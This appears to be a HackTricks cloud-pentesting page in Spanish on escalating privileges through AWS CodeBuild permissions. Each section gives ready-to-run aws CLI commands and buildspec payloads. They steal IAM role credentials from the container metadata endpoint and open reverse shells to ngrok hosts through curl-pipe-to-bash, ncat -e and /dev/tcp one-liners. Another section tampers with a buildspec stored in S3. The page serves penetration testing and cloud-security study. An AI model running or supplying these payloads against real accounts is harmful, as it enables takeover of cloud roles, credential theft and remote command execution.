AWS - Codebuild Privesc

Support HackTricks

codebuild

Get more info in:

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Un atacante con los permisos iam:PassRole, codebuild:CreateProject, y codebuild:StartBuild o codebuild:StartBuildBatch podría escalar privilegios a cualquier rol IAM de codebuild creando uno en ejecución.

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

Impacto Potencial: Privesc directo a cualquier rol de AWS Codebuild.

En un contenedor de Codebuild, el archivo /codebuild/output/tmp/env.sh contiene todas las variables de entorno necesarias para acceder a las credenciales de metadatos.

Este archivo contiene la variable de entorno AWS_CONTAINER_CREDENTIALS_RELATIVE_URI que contiene la ruta URL para acceder a las credenciales. Será algo como esto /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

Agrega eso a la URL http://169.254.170.2/ y podrás volcar las credenciales del rol.

Además, también contiene la variable de entorno ECS_CONTAINER_METADATA_URI que contiene la URL completa para obtener información de metadatos sobre el contenedor.

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Al igual que en la sección anterior, si en lugar de crear un proyecto de construcción puedes modificarlo, puedes indicar el Rol IAM y robar el token.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Impacto Potencial: Privesc directo a cualquier rol de AWS Codebuild.

codebuild:StartBuild | codebuild:StartBuildBatch

Solo con uno de estos permisos es suficiente para activar una construcción con un nuevo buildspec y robar el token del rol iam asignado al proyecto:

cat > /tmp/builspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/builspec.yml

Impacto Potencial: Privesc directo a los roles de AWS Codebuild adjuntos.

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Al igual que en la sección anterior, pero sin el permiso iam:PassRole, puedes abusar de estos permisos para modificar proyectos de Codebuild existentes y acceder al rol que ya tienen asignado.

REV_PATH="/tmp/codebuild_pwn.json"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"codebuild_lab_3_project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

printf "$JSON" > $REV_PATH

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build-batch --project-name codebuild-demo-project

Impacto Potencial: Privesc directo a los roles de AWS Codebuild adjuntos.

SSM

Teniendo suficientes permisos para iniciar una sesión ssm es posible entrar en un proyecto de Codebuild que se está construyendo.

El proyecto de codebuild necesitará tener un punto de interrupción:

phases:
pre_build:
commands:
- echo Entró en la fase pre_build...
- echo "Hola Mundo" > /tmp/hello-world
      - codebuild-breakpoint

Y luego:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

Para más información consulta la documentación.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

Un atacante capaz de iniciar/reiniciar una construcción de un proyecto específico de CodeBuild que almacena su archivo buildspec.yml en un bucket de S3 al que el atacante tiene acceso de escritura, puede obtener ejecución de comandos en el proceso de CodeBuild.

Nota: la escalación es relevante solo si el trabajador de CodeBuild tiene un rol diferente, esperemos que más privilegiado, que el del atacante.

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

Puedes usar algo como esto buildspec para obtener un reverse shell:

buildspec.yml
version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impacto: Privesc directo al rol utilizado por el trabajador de AWS CodeBuild que generalmente tiene altos privilegios.

Tenga en cuenta que el buildspec podría esperarse en formato zip, por lo que un atacante necesitaría descargar, descomprimir, modificar el buildspec.yml desde el directorio raíz, volver a comprimir y subir.

Se pueden encontrar más detalles aquí.

Impacto Potencial: Privesc directo a los roles de AWS Codebuild adjuntos.

Apoya a HackTricks

Last updated